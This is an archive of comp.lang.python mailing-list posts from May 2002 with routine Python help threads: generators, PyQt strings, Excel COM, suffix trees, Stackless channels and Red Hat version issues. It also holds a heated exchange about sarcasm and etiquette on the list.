Derek. From chris.gonnerman at newcenturycomputers.net Sat May 4 17:03:35 2002 From: chris.gonnerman at newcenturycomputers.net (Chris Gonnerman) Date: Sat, 4 May 2002 16:03:35 -0500 Subject: Very strange behaviour on Windows References: <3CD4491E.CEC76CE@iki.fi> Message-ID: <00a901c1f3af$3dedb720$0101010a@local> ----- Original Message ----- From: "Joonas Paalasmaa" > When I invoke the interactive interpreter on Windows, > Python claims that every line I type is syntactically > invalid. However, when the interpreter is used to > start scripts, everything seems to be working quite > fine. The problem is propably in Windows's command- > line, but what the problem could be? [[ example ellided ]] What version of Windows? Has it ever worked before? Chris Gonnerman -- chris.gonnerman at newcenturycomputers.net http://newcenturycomputers.net From iwaters at btclick.com Fri May 10 12:29:40 2002 From: iwaters at btclick.com (ian) Date: Fri, 10 May 2002 17:29:40 +0100 Subject: lists + string Message-ID: hi started to learn python this week and my lecturer threw us in the deep end and asked us to write a mail server.. oh well anyway in the program i read in some input from the user input = str(raw_input ......... how do i compare it to an element in a list?? ive tried for x in list if input == x:print 'found item' but it dont work any help would be great thanx From phr-n2002b at NOSPAMnightsong.com Tue May 28 17:25:48 2002 From: phr-n2002b at NOSPAMnightsong.com (Paul Rubin) Date: 28 May 2002 14:25:48 -0700 Subject: variable X procuct - [(x,y) for x in list1 for y in list2] References: <1022619068.34271@newsmaster-04.atnet.at> Message-ID: <7xk7po2cdf.fsf@ruckus.brouhaha.com> steindl fritz writes: > first - maybe sombody can help me with the english expression for the > german word 'kreuzprodukt' - this my question is dealing with Cross product. > i cannot put variables into this algorythm or they don't do what i expect > maybe there is a simple solution, but i cannot find it I don't see an obvious way to do it with list comprehensions. The obvious way to do it is with a recursive function. From marklists at mceahern.com Wed May 8 22:38:17 2002 From: marklists at mceahern.com (Mark McEahern) Date: Wed, 8 May 2002 21:38:17 -0500 Subject: help needed on generator In-Reply-To: <5lijdu8recmu4sgrmgq1m95fgqg8p3brjg@4ax.com> Message-ID: [Gon?alo Rodrigues] > I've coded this generator to traverse a directory tree. 1. First of all, check this out: http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/105873 2. In this section of your code, you are calling the generator: > if predicate(dirname): > dirtree(os.path.join(root, dirname), predicate) But with a generator, you need to iterate over it. Consider replacing the second line there with this: for x in dirtree(os.path.join(root, dirname), predicate): yield x > When I feed "C:" to the sucker (run as script) only "C:" gets printed. > Can anyone point out to me what I am doing wrong? 3. Why C: and not r'C:\'? C: is the current directory on C:, true? Maybe that's what you want, eh? I hope this helps. Cheers, // mark From gmuller at worldonline.nl Thu May 9 15:34:13 2002 From: gmuller at worldonline.nl (GerritM) Date: Thu, 9 May 2002 21:34:13 +0200 Subject: [Survey] Py Feedback References: <3cd9a9d9.196458672@news.newsguy.com> Message-ID: I liked the first issue quite a lot. Personally I wouldn't mind to pay more for quality content. Payment from Holland is cumbersome, I didn't have a look yet at paypal. As commented and acknowledged by Bryan an incremental approach is best. I wonder how large the advertisement market is for such a specific journal. Some comparison with C/C++ journal might be enlightening. keep up the good work, Gerrit -- www.extra.research.philips.com/natlab/sysarch From francois.lepoutre at seriatim.com Fri May 3 05:19:51 2002 From: francois.lepoutre at seriatim.com (francois lepoutre) Date: Fri, 3 May 2002 11:19:51 +0200 Subject: xitami LRWP in Python References: <542d2d1d.0205020135.52abbf66@posting.google.com> Message-ID: Hi John, First point.... you are on the right track. I have been on the same one just a couple of months ago. We delivered recently a very powerful stateful app that offers this kind of functionality. Perf is really great. Python + mod_python or python + xitami is an extremely powerful combo for the kind of stuff you want to deliver. A lot of power under your hood.... But there is a slight confusion in your mail concerning multiuser and web. Your application could run on both as cgi and mod_python or LRWP. Or fastcgi or webware... I suppose you have developped in a typical client/server environment such as odbc or others where the development model is quite different. You are on short learning curve that includes: - python, really cool and simple, - cgi, the plain old technologies of the 20th century, - xitami or apache "persistent" interface. cgi is the key issue here. use a plain old book on the subject (key issue is the "cookie" stuff) LRWP or mod_python will just make it possible to run the thing faster. If you choose cgi every hit on any browser over your intranet will generate a call to your application ... and a big db call. With LRWP or mod_python the db call will be made once (and possibly refreshed every x days, hours or minutes) and the content of your data will then stay in ram for a period of time. Your application which is extremely simple. Just keeping the state is the issue. This is where the trick is. I think you should develop the app as a cgi one and move it to LRWP later when it is functional. Before moving into production. We did that. The learning experience will be in two phases. Easier. > I have to keep each user's > current position in the table as some form of session variable? If I > do, how do I re-establish the last position in the table before doing > "Next". I propose you try to keep the "record_id" in a cookie. For a start and move up from that. I hope i was clear enough... mother (and father's by the wauy) tongue is french. Good luck Francois From fredrik at pythonware.com Sun May 26 18:13:47 2002 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sun, 26 May 2002 22:13:47 GMT Subject: XML-RPC and Tkinter demo, comments welcome :-) References: <13285ea2.0205261342.36cf6dde@posting.google.com> Message-ID: J.Jacob wrote: > I used xmlrpclib and SimpleXMLRPCServer, both made > backwards compatible to python 1.5.2 you mean forwards compatible, I suppose? $ more xmlrpclib.py ... # also note that this version is designed to work with Python 1.5.1 # or newer. it doesn't use any 1.5.2-specific features. ... footnote: official xmlrpclib releases, for 1.5.2 and newer, can be found here: http://effbot.org/downloads/ From boud at valdyas.org Mon May 6 13:39:27 2002 From: boud at valdyas.org (Boudewijn Rempt) Date: Mon, 06 May 2002 19:39:27 +0200 Subject: [PyQt] Variable References: Message-ID: <3cd6c023$0$216$e4fe514c@dreader3.news.xs4all.nl> Sebastian Roth wrote: > [, ] > But that's exactly what you've asked your script to do! All Qt widgets return a QString object when you ask them for text. What you need to do, is to convert the QString's to either unicode or string objects, using the unicode() or str() functions: ulist.insert(0,str(a)) ulist.insert(1,str(b)) (you are aware that you simply append to a list?) Curiously enough, this same question has just appeared on the PyKDE mailing list (which, despite its name) deals mainly with PyQt: http://mats.gmd.de/mailman/listinfo/pykde The PyQt documentation contains a short and clear statement on strings, namely that Python unicode objects and strings are auto-converted to QString objects when used in Qt method calls that expect a QString, but that Qt objects always return a QString. For a more complete treatment: http://www.opendocspublishing.com/pyqt/index.lxp?lxpwrap=x2068%2ehtm The rest of the chapter might be of interest to you, too :-). -- Boudewijn Rempt | http://www.valdyas.org From claird at starbase.neosoft.com Mon May 13 12:43:42 2002 From: claird at starbase.neosoft.com (Cameron Laird) Date: 13 May 2002 11:43:42 -0500 Subject: python, a scripting language? References: <20020512200002.5145.22932.Mailman@mail.python.org> Message-ID: <454A966F9FEE987E.009DB3C2817BD048.274A10761E4CC2A1@lp.airnews.net> In article , Terry Hancock wrote: . [many true and important things] . . >You *can* script with C,C++ or another compiled language, but >it's a major pain. So they are poor scripting languages. I >have no idea where Java fits in this spectrum, though I >suspect it is also a poor scripting language. I consider . . . >Python is much faster than shell scripts, though a wee-bit slower >than native compiled languages like C (quite often though, the >difference is actually negligible, from what I've heard. I've >rarely had the need or opportunity to compare them). It also . . . I said this last about the speed of Python and C too often, and I must do penance: Python can be MUCH slower than C, easily two orders of magni- tude on common benchmarks. For many or most practical implementations of useful programs, Python is, I agree, barely slower than C, and often faster; it can be hard to see this, though, from a naive glance. C and Java, or languages very close to them, can be interpreted, rather than compiled. pre- sents examples. -- Cameron Laird Business: http://www.Phaseit.net Personal: http://starbase.neosoft.com/~claird/home.html From sholden at holdenweb.com Wed May 1 08:14:17 2002 From: sholden at holdenweb.com (Steve Holden) Date: Wed, 1 May 2002 08:14:17 -0400 Subject: Newbie: finding the key/index of the min/max element References: <200204302300.g3UN0kkG002462@ratthing-b246.strakt.com> <3CCF4F66.BA0A5DD4@cascade-sys.com> Message-ID: [Sorry about OutOfLuck Express's inept attempts at quoting here] "Laura Creighton" wrote ... > [some apologizing from James, accepted by Laura] > I also sense that you are pissed at me personally, which puzzles me just a li > ttle. > This is the second time you have said offensive things to me though I have ne > ver > directed any comments whatsoever at you. Perhaps you have a chip on your sho > ulder > about all Americans or men or whatever. You need to learn to read personal attacks a little more carefully. In the n-1 I sent you, among other things, I blasted you for claiming to speak for all Americans. While not conclusive, that would provide certain support to the idea that it is not _all_ Americans I dislike. [me:] Huh? All of this was personal. You can't hide behind 'other men' or 'other Americans'. Francois Pinard, Cliff Wells, Steve Holden, Tim Delaney, I, and I forget who else who helped are not going to sit around idlely while you turn c.l.p into a 'sarcasm friendly' place. We will fight you over this. This is an extremely interesting and to my mind important social experiement, and you aren't going to find many people who will support you in your efforts to turn this place into just another newsgroup. If you want one of those, make your own gatewayed mailing list. [me:] Well, I'm not going to fight anyone if I can help it. I would probably vote with my feet if it ever became *too* sarcasm-friendly. But my personal feeling is that James has now had enough of the corners and rough edges knocked of his c.l.py persona to start fitting in. > Maybe I remind you of somebody you h > ated. > I don't know. I like to think I have shown that I can roll with the punches > and I > feel I've made a few new friends on this list (some not even Americans). I > resolved this morning to try and be more civil, in large part due to your not > e > yesterday. [me:] Laura: I'm really glad there's something that makes an even worse mess of other people's postings than Outlook Express. The above shows a magnificent disregard for the original text. All that's missing is the equals signs that signify the Macintosh quoted-printable format in play :-) Wow! Thank you so much! Then it did work. Interesting. You admired me for my viciousness, and then resolved to behave better. Now that was an outcome I hadn't predicted. I am going to have to think about this some more. [me:] It's James' ability to take the heat, and change his tack as a result, that makes me feel he might eventually become a member of the thought police ^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H^H socially-responsible poster on c.l.py. Not out of an inability to "take the heat" it but because you mad > e a > good point which was hard to disagree with. However, your continuing to atta > ck me > like this is not a way to encourage me to try and be civil. Aha. This is why we don't like sarcasm around here. Its an attack. It works the same way. > Your emotionalis > m left > you open for a large number of smart-ass remarks, which I respectfully and wi > th > difficulty suppresed. Yes. This is a common problem in other newsgroups. Somebody gets off one sarcastic crack, and then says 'there, there, calm down, I am being reasonable now'. Thus we create a climate where everybody competes to get the first sarcastic comment off. This leads to comp.lang.perl as well. [me:] Well, I guess we should be grateful that you are both restraining yourselves. > > Finally, I am truly puzzled by your Raymond Hettinger reference. Although I > strongly disagree with him, I thought my very sincere reply was respectful an > d > deferential rather than hostile, and I thought it was very much in line with > much > of the nit-picking that goes on here. I certainly don't wish him any ill wil > l, and > I will cheerfully support any good proposals he puts forth. But his justific > ation > for his proposal strikes me as pretty empty, as I indicated. How does one pr > operly > register dissent in your world? Am I just supposed to blithly agree with > everything that is said? Seems that would certainly put me in a distinct > minority. If I'm missing something I trust you will point it out. Lumberjack is a Troll, or quite possibly the alter-ego of one of us. Right now I don't think that Lumberjack is a problem, and ignoring Trolls is one of the things we do around here (though sometimes we have to be reminded of that). You, however, are a large problem. You are proposing to make this a sarcasm-friendly place. You want us to lighten-up and toughen-up simultaneously. You want us to change our societal norms (hmm, can we consider c.l.p a society? It sure is a F?rening, , but do you get to use English that way?) and our entire process for your sake. You want to make c.l.p a place where people do not post for fear of _wasting your time_. [me:] I suppose I consider c.l.py a "milieu". I have to say I think perhaps your attack on James came a day or two too late. He's a good boy now ;-) [alternatives to reading c.l.py] Be creative, inventive, and stop stomping all over our social experiment. Among other things, we are training people here, and you can't truly train people to program well unless they can completely and unself-consciously present themselves and their works, just being themselves, doing the best they can. This is most overwhelming true when 'the best they can' is objectively 'not very good at all'. It takes time for the unskilled to become skilled. But that is precisely what the people of c.l.p are giving to each other. Our valuable time. Because we think time spent with people here, learning things and helping other people learn things is _valuable_. And when we are too busy, we kill threads, or even stop reading news for a while. But with the quiet joy and satisfaction that we get knowing that, however busy we are, somebody in c.l.p. with more time is teaching somebody else something, right now. All the busy occasional posters you see here -- old regulars who are now way too busy -- we don't want them to find comp.lang.perl when they come back. That will mean that we failed to manage the space properly. [me:] Laura, I think what you say about c.l.py is very revealing of your approach to the group, but you have to accept that a) not everyone knows about this, and b) some people may take a different approach. Although my own goals are slightly different, they are not incompatible. But the force of your response seems a little out of proportion to the offense, almost like proposing the death penalty for jaywalking. > > Oop. Gotta go fix dinner for the family. Hope it was good. [me:] This last piece of social interaction shows hopeful signs. You two aren't just doing this to troll me, are you? can-we-say-"lighten-up?"-ly y'rs - steve -- Steve Holden: http://www.holdenweb.com/ ; Python Web Programming: http://pydish.holdenweb.com/pwp/ From brian at sweetapp.com Sun May 5 00:27:12 2002 From: brian at sweetapp.com (Brian Quinlan) Date: Sat, 4 May 2002 21:27:12 -0700 Subject: making python scripts backwards compatible In-Reply-To: <3CD4ADBE.EE095B00@cascade-sys.com> Message-ID: <008701c1f3ed$20cf4da0$445d4540@Dell2> James wrote: > You don't have to test or support them all. Just name one version > guaranteed to work, e.g. the one you did the development under. This > should not be a hardship for anybody. I think that this will result in most core modules only being "guaranteed" to work with the Python version that they ship with. > The fact that you have no "interest" in documenting the system > requirements for your software doesn't make the original request > unreasonable. I guess not. But the more work you push on my shoulders, the less likely you'll see any of my code at all. If you want to volunteer for this documentation effort, go nuts :-) Cheers, Brian From amapy at snafu.de Thu May 16 11:45:40 2002 From: amapy at snafu.de (Andreas Maurer) Date: Thu, 16 May 2002 16:45:40 +0100 Subject: Some troubles with Excel formatting a cell in python Message-ID: Hi folks, I tried to "convert" an Excel-macro to python. This worked well, 'till I found this VBA-Codeline: With ActiveCell.Characters(Start:=8, Length:=15).Font .Name = "Arial" .FontStyle = "Standard" etc, etc... I "translated" this line to python like this: Excel.ActiveCell.Characters(Start:=8, Length:=15).Font.FontStyle = "Standard" when I start this line in the Interactive Window of pythonwin, I got this error-message: >>> Excel.ActiveCell.Characters(Start:=8, Length:=15).Font.FontStyle = "Standard" Traceback ( File "", line 1 Excel.ActiveCell.Characters(Start:=8, Length:=15).Font.FontStyle = "Standard" ^ SyntaxError: invalid syntax I was looking in the msdn and other sources, but I've not found a solution yet to avoid the trouble with the Characters-methode. I'm appreciate for any hint. Andreas From sabren at manifestation.com Thu May 30 12:51:16 2002 From: sabren at manifestation.com (Michal Wallace) Date: Thu, 30 May 2002 12:51:16 -0400 (EDT) Subject: python tool: finding duplicate code In-Reply-To: Message-ID: On Wed, 29 May 2002, Tim Peters wrote: > > (hmm... Come to think of it, someone could probably find > > *some* duplicate logic by running source files through the > > tokenizer first. I wonder if that would work...) > > Brenda Baker has done some interesting work on this > problem (not with Python in mind, but million-line C > systems): > > http://cm.bell-labs.com/who/bsb/ > > Her "On Finding Duplication and Near-Duplication in Large > Software Systems" is a good entry into the literature. > > I have a self-serving reason for mentioning this: if > somebody whips up a fast suffix tree for Python, I could > put it to good use in ameliorating difflib.py's worst-case > time sinks . Hey Tim, Thanks for the link! I found a javascript version of a suffix tree algorithm online. I ported it to python and it seems to work... Unfortunately the original code is very hard to understand. I did a straight port and then tried to clean it up and make it a little more object oriented, but when I started looking into the algorithm, I just couldn't track what was going on. Then I spent another couple hours trying to rebuild it from scratch using a pythonic style, but again I couldn't get my mind around the algorithm... Anyway, I spent all night messing around with this stuff, and I'm giving up. If someone wants to take a look, go here: http://cvs.sabren.com/sixthdev/cvsweb.cgi/sdunit/ NastySuffixTree.py is the working version. SuffixTree.py is the cleaner version I tried to build, but it doesn't implement the whole algorithm. The javascript version is here: http://www.csse.monash.edu.au/~lloyd/tildeAlgDS/Tree/Suffix/ There's also a suffix tree module written in C, but with a python binding here: http://www-hkn.eecs.berkeley.edu/~dyoo/python/suffix_trees/ Cheers, - Michal http://www.sabren.net/ sabren at manifestation.com ------------------------------------------------------------ Switch to Cornerhost! http://www.cornerhost.com/ High Powered Hosting - With a Human Touch. :) ------------------------------------------------------------ From romany at actimize.com Mon May 13 14:42:53 2002 From: romany at actimize.com (Roman Yakovenko) Date: Mon, 13 May 2002 20:42:53 +0200 Subject: #ifdef like question. Message-ID: <7647A9F4B298E74DB6793865DA67285004B346@exchange.adrembi.com> Hi. I have 2 different implementation of the same class \ function. I'd like to use implementation according to some future existence. (For example generators). How can I choose between 2 implementations in run time( not in install time )? Thanks. Roman -------------- next part -------------- An HTML attachment was scrubbed... URL: From johannh at uclink.berkeley.edu Tue May 7 12:25:43 2002 From: johannh at uclink.berkeley.edu (Johann Hibschman) Date: 07 May 2002 09:25:43 -0700 Subject: What makes code "readable"? (was Re: Python vs. Perl, which is better to learn?) References: <3CD7150E.E7D3DC76@engcorp.com> Message-ID: "Fredrik Lundh" writes: > also see: > > http://www.zooko.com/shootout-compress.html Zooko is a loon. That's brilliant! --Johann From lennart at sandqvist.nu Wed May 1 17:09:45 2002 From: lennart at sandqvist.nu (Lennart Sandqvist) Date: Wed, 1 May 2002 23:09:45 +0200 Subject: Flash web site Message-ID: Hello folks! Please help me getting started. I need to find some one, who can help me making a Flash animated web site, but first I want to get the specification right. Could You, please, have a look at the specification below and let me know your opinion: Questions: 1. Is the specification sufficiently detailed in order to enable a candidate to make a correct work? 2. Can Flash be used for animating a 3D CAD model? 3. The point about independent web design, is meant to enable a web designer to change the design, without having to change the code. Would it be necessary to clarify that point? 4. The idea, with the database driven function of the FAQ etc, is naturally that it should be easier to maintain. Would it be necessary to specify some specific features? 5. Would it be an advantage to use the database even for the rest of the site? 6. I have a script available that does the FAQ function as described. It is PHP script and MySQL database. Would it be possible to integrate that function, or any other similar packet, in the site? Web site specification Common part. A starting page to attract attention, show what it is all about and show how to proceed. A page for the purchasing procedure and with links to deepening pages and payment. One page with deeper information for each product. (Just, one product to start with.) A database driven function for FAQ; Support; How to; Your view and Discussion group. An independent page from which the clients can "down load" the product after the payment at the Click bank. The site should be programmed so that the web design can be carried out independently. All pages on the site shall have the same logo and background. The starting page. 1st level. An animated Flash intro, using the logo and the company name. (This is partly to make the waiting time less boring.) A simple start page with 3D logo and company name. A background on which I can show an animated 3D CAD model. Place for a picture strip showing events. Example on the site http://www.artistnation.com/members/lofts/zoranvedek/ A navigation list, as on the above mentioned site were Flash is used "on mouse over" to show a transparent picture of the next page. Picture size approx 1/5 of normal Navigation links: About us; Products; Discussion; FAQ; Support; How to; Your view. No, "log in" for neither purchasing nor reading discussions etc. Simple "log in" for persons wanting to write. Only name and e-mail address. Page for purchasing product. 2-nd level A simple page with the following for each product: A small picture showing the product and with a link to the deepening page. A click box or similar in order to mark what to buy. An instruction and a link to the Click bank or similar bank. To start with only one product, but the page could be prepared for expansion to 8 products. Page for deeper product information. 3 d level Space for photographs and samples of CAD models, drawings and instructions. A database driven function for FAQ; Support; How to; Your view and Discussion group. A complete and easily maintained system where discussion group and the support functions automatically are creating information for the "FAQ" and the "How to". In the "Your view" page, there is also a "mail to" link. Regards Lennart Sandqvist TechMate in Sweden AB Utterstigen 19 150 23 Enh?rna Sweden From mwh at python.net Fri May 17 05:25:27 2002 From: mwh at python.net (Michael Hudson) Date: Fri, 17 May 2002 09:25:27 GMT Subject: how to determine an 'open' string? References: Message-ID: holger krekel writes: > Michael Hudson wrote: > > [me] > > > [you] > > > > > > > > You're going to have fun with strings containing spaces aren't you? > > > > > > huh? not that i know of :-) > > > > Because of the way readline works. It calls the completer function > > with the word stem, so if the buffer looks like > > > > >>> "a very long string > > ^ > > when you hit TAB the completer will get sent just "string" (I think). > > Actually what you get is everything from the last 'delimiter'. > Delimiters are set via readline.set_completer_delims(delims_str). Ah yes. Does that actually work? I seem to remember a report of it not working properly, but can't find it now... Cheers, M. -- MAN: How can I tell that the past isn't a fiction designed to account for the discrepancy between my immediate physical sensations and my state of mind? -- The Hitch-Hikers Guide to the Galaxy, Episode 12 From Mike_Bohr at gmx.net Mon May 13 12:47:31 2002 From: Mike_Bohr at gmx.net (Bohr, Mike) Date: Mon, 13 May 2002 18:47:31 +0200 Subject: Tkinter Configuration References: Message-ID: Ohhh, I realy hate days like this... I've no _tkinter.so . Where can I get it? From fperez528 at yahoo.com Wed May 22 12:39:08 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Wed, 22 May 2002 10:39:08 -0600 Subject: How to know if a popen*() was successful? References: <3CEAE2F5.5030605@jerf.org> <3CEB29B2.6030004@jerf.org> Message-ID: Jeremy Bowers wrote: > I'm gonna have to call a foul here. ;-) You're comparing my Tk Windows > pager suggestion against Unix pages. I'm only suggesting the Tk Windows > pager for Windows use, Sorry, I misunderstood you. I thought your tk suggestion was for all platforms. My bad. Thanks a lot for the tk code suggestion. I'll save it for future reference, but unfortunately right now I just don't have the time to test/implement it in the rest of my framework. I see Windows about once a month and right now 'real work' is the priority. But I appreciate the code, thanks again. Cheers, f. From lac at strakt.com Wed May 1 03:19:41 2002 From: lac at strakt.com (Laura Creighton) Date: Wed, 01 May 2002 09:19:41 +0200 Subject: Newbie: finding the key/index of the min/max element In-Reply-To: Message from "James J. Besemer" of "Tue, 30 Apr 2002 19:13:58 PDT." <3CCF4F66.BA0A5DD4@cascade-sys.com> References: <200204302300.g3UN0kkG002462@ratthing-b246.strakt.com> <3CCF4F66.BA0A5DD4@cascade-sys.com> Message-ID: <200205010719.g417JfkG004525@ratthing-b246.strakt.com> > > Laura Creighton wrote: > > > JB wrote: > > > The term derrives from the Sandinistas in Nicaragua, the Communist rebels > who > > > fought against the US-installed conservative Somoza dictatorship (and oth > ers). > > > > > > The suffix is sometimes used to refere to any contrarian group, and in ca > ses > > > simply any group. > > > > That is simple ignorant American narrow-minded foolishness talking. > > Normally, I would take extreme great care to not say anything so > > offensive, but I have a deep suspcion that James J Besemer is one > > of the 'can't take the heat' folks, and will learn to like a kinder > > and gentler place than the one he proposes to make for Raymond Hettinger > > if he finds out what it is like to live in the place he proposed. > > I'm truly sorry that my sincere attempt to answer what I thought was a simple > question caused you to resort to open hostility. I am truly impressed by you > r > vicisousness. Oh Rats! If you are _impressed_ by this, then I will have to try something else. I wanted you to be _disgusted_. One more marketting plan shot to hell... > > Once again by innocently describing a true relationship I have observed betwe > en two > items (words in this case) puts be at loggerheads with someone who knows a li > ttle > more than me on the subject. Yes. And the usual thing around here is for the more knowledgable to teach the less knowledgable so that everybody benefits. There are other newsgroups where the usual thing is for the people with the knowledge to go feed their egos by showing off how much they know, and by denigrating those who know less as if ignorance was something to be ashamed of. We know all about where that goes, and we don't want to go there. People have been saying that if Python ever becomes popular, comp.lang.python will turn into comp.lang.perl. We have been told repeatedly that there is no way to build consensus on the internet, because there are too many blunt speakers, like you, who actually think that it is a good idea to _discipline_ (here used in its sense of _punish_) learners to not explore half-baked ideas and thoughts using rudeness and sarcasm. > I did not intend to invoke any particular image, only to document a phonetic > relationship between words. With you, I obviously struck a nerve. Clearly i > n some > way you were deeply wounded by what all happend down there. I certainly had > no > intention of invoking a hell from your past. I hope you will forgive me From geoff at gerrietts.net Wed May 8 17:58:04 2002 From: geoff at gerrietts.net (Geoff Gerrietts) Date: Wed, 8 May 2002 14:58:04 -0700 Subject: Has Red Hat helped or hurt? In-Reply-To: <4pbhdu4t69e6eqt3q3l4q72odo0c9ufo9p@4ax.com> References: <4pbhdu4t69e6eqt3q3l4q72odo0c9ufo9p@4ax.com> Message-ID: <20020508215804.GE32000@isis.gerrietts.net> Quoting Tim Roberts (timr at probo.com): > How have other people handled this? Do you just copy all of > 1.52/site-packages to 2.x/site-packages? Do you install Python 2.x into a > separate directory and grumble every time you have to change the #! line in > your scripts? I tried updating all of the #! lines in the Red Hat scripts, > but this, of course, blows as soon as you do an rpm upgrade of a > Python-based package. Yes, it's sloppy deployment on RedHat's part. I'm sure the guy who put together the system is suitably embarassed by his/her own oversight, or should be. It's proven to be a real problem for more than one person. In solving the problem, I've gone both ways. I like the PATH solution some suggest, it interests me. But I tend to shy away from solutions that rely on the operating environment of a process to resolve correctly, because the environment tends to be so highly dynamic and somewhat hard to predict. I also dislike adding external dependencies to a program -- that's something the free software community tends to do quite a bit, and often to frustrating or infuriating result. The other options I've aimed at are outlined in an older post of mine: http://groups.google.com/groups?selm=mailman.1017695170.25885.python-list%40python.org Others in that thread contributed other equally or more interesting opinions. Luck, --G. -- Geoff Gerrietts http://www.gerrietts.net/ "Politics, as a practice, whatever its professions, has always been the systematic organization of hatreds." --Henry Adams From tismer at tismer.com Fri May 17 21:30:41 2002 From: tismer at tismer.com (Christian Tismer) Date: Sat, 18 May 2002 03:30:41 +0200 Subject: Ann: Stackless Limbo Dancing Works Fine! Message-ID: <3CE5AEC1.9000304@tismer.com> Announcement: Stackless Python At It's Best, Ever. 18-May-02: Limbo Dancing works fine! Yet some more thinking for weeks, and a few days of implementation. Now, the first implementation of channels is available. It isn't complete, but works just fine. The stackless module now supports to create channels by function channel(). A channel has the methods send() and receive(). Try it yourself! You might either want to build your own Stackless, checking out the module stackless from :pserver:anonymous at tismer.com:/home/cvs , or, for Windows users, just take the pre-built binary, extract it into some directory, and start Python or PythonWin fom there. I will for sure build an installer again, after I have got some feedback. This implementation tries to follow the concepts of the OCCAM/ALEF/LIMBO languages by supporting the channel concept as the central communication/blocking/control feature. Tasks do not communicate directly, but through channels. You might have guessed it: Stackless will try to implement/support Hoare's CSP, finally. But before, I have to understand more of it. This will happen in the next few weeks. This release is an alpha release. There are most probably a lot of omissions. Some are obvious: - There isn't yet a scheduler, like there was one for the uthread module. This is trivial to implement and will be added in almost no time. - There isn't yet an ALT/PRI ALT construct like in OCCAM/ALEF/LIMBO. This is most sophisticated and very hard to implement correctly! I will try to find out how to do this the best way, during my stay at IronPort, from May 18th to May 29. If somebody from the US would like to contact me by phone, please use the opportunity and call me via IronPort. I am employed by this company. - You shouldn't use channels from the interpreter prompt, but in scripts, only. The machinery doesn't check for changed interactive sessions yet and will most likely crash, soon. Despite of that, it seems to work nicely with PythonWin and extensions. -- Christian Tismer :^) Mission Impossible 5oftware : Have a break! Take a ride on Python's Johannes-Niemeyer-Weg 9a : *Starship* http://starship.python.net/ 14109 Berlin : PGP key -> http://wwwkeys.pgp.net/ work +49 30 89 09 53 34 home +49 30 802 86 56 pager +49 173 24 18 776 PGP 0x57F3BF04 9064 F4E1 D754 C2FF 1619 305B C09C 5A3B 57F3 BF04 whom do you want to sponsor today? http://www.stackless.com/ From pereira at cis.upenn.edu Sun May 19 12:06:51 2002 From: pereira at cis.upenn.edu (Fernando Pereira) Date: Sun, 19 May 2002 12:06:51 -0400 Subject: Ann: Stackless Limbo Dancing Works Fine! In-Reply-To: <3CE769E4.5010807@tismer.com> Message-ID: On 5/19/02 5:01 AM, "Christian Tismer" wrote: > Fernando Pereira wrote: >> On 5/17/02 9:30 PM, in article >> mailman.1021685435.8672.python-list at python.org, "Christian Tismer" >> wrote: >> >>> - There isn't yet an ALT/PRI ALT construct like in OCCAM/ALEF/LIMBO. >>> This is most sophisticated and very hard to implement correctly! I will >>> try to find out how to do this the best way, during my stay at IronPort, >>> from May 18th to May 29. >> >> I was once involved in designing a channel facility with an ALT-equivalent, >> and I found the following paper very useful: >> >> Luca Cardelli. An implementation model of rendezvous communication. S.D. >> Brookes, A.W. Roscoe and G. Winskel. Seminar on Concurrency, Carnegie-Mellon >> University, Pittsburgh, PA, July 1984. Lecture Notes in Computer Science, >> Vol. 197, Springer-Verlag, 1985, ISBN 3-540-15670-4. pp 449-457 >> > > Thank you very much for this link. I started to read it > (but it is hard -- I'm deadly jet-lagged) and will try > to get my brain around it tomorrow. > > At first glance, I'm a bit stunned. Did you see my channel > implementation? It is quite straight-forward and performs > fine. But the principles appear to be upside down from > those of the paper. My channels have a single queue of > waiting tasks, and this queue is either for reading or > writing. > Currently I have a hard time to understand why there can > be both an output and an input pool. My channels always > fulfil whatever is possible, so only one pool would > be populated at any time. > I think I did quite something similar to their rendevouz > operation. I've not looked at this stuff since the mid 80s, but my recollection is that the too pools are needed because task scheduling in Cardelli's scheme is non-preemptive, independent of readiness to perform a communication on a channel. That is, actual rendezvous may occur after both reading and writing tasks are ready to communicate. > > Interesting is that they don't even take processes as > first-class objects. After introducin channels, I also > found my tasklets less useful than before, and maybe > they will survive only in a shadowy existance. This was designed in the context of languages and formalisms like CSP and Squeak (Cardelli and Pike's Squeak), in which tasks are not first-class objects. In the introduction he says "processes are not denotable values". > > Anyway, what I didn't grasp really yet is how to > implement PAR as a multiple select on a group > of channels. I'm not sure of why you would need this, but maybe I've just been away from this stuff too long. PAR just puts a bunch of tasks in the runnable pool. When any of them wants to communicate, it suspends in the appropriate channel queue waiting for a matching communication request (the matching request may already be available, in which case the scheduler is free to do the rendezvous and move the satisfied tasks to the runnable pool). In other words, I don't understand why PAR would need to create a collection from the channels used by the PARed tasks. > Maybe I'm completely on the wrong track? I'd > really be interested to read about your > implementation. I wrote a design document (which I may not have any longer, I'll look), but it was never implemented because the resources were not available. > thanks so much for your support, I really need to > learn more, soon! Welcome, and I hope Stackless prospers as it deserves. -- F PS. For a different but intriguing approach to communication in an OO framework, check out Cardelli's recent paper on concurrency abstractions for C#. http://research.microsoft.com/Users/luca/Papers/Polyphony%20ECOOP.A4.pdf From pmullh at yahoo.com Wed May 1 10:19:02 2002 From: pmullh at yahoo.com (PM) Date: 1 May 2002 07:19:02 -0700 Subject: Access violation trying to run Python over Win NT network. References: <4be6f063.0204300931.530a0cda@posting.google.com> Message-ID: <4be6f063.0205010619.1c1eccee@posting.google.com> Just in case somebody sees something, here's the Dr. Watson info ,(trying to run the pythonware 2.1.1 python.exe): State Dump for Thread Id 0x9e eax=007c06ec ebx=00000001 ecx=1e18b8d8 edx=1e18b8d8 esi=007c0640 edi=007c0670 eip=1e119ee0 esp=0012ff24 ebp=7800bb50 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000202 function: PyCodec_Decode 1e119ed6 5b pop ebx 1e119ed7 c3 ret 1e119ed8 90 nop 1e119ed9 90 nop 1e119eda 90 nop 1e119edb 90 nop 1e119edc 90 nop 1e119edd 90 nop 1e119ede 90 nop 1e119edf 90 nop FAULT ->1e119ee0 a1d8601a1e ds:1e1a60d8=00000000 mov eax,[PyUnicode_Type+0xca0 (1e1a60d8)] 1e119ee5 85c0 test eax,eax 1e119ee7 750f jnz PyCodec_Decode+0x118 (1e119ef8) 1e119ee9 6a00 push 0x0 1e119eeb 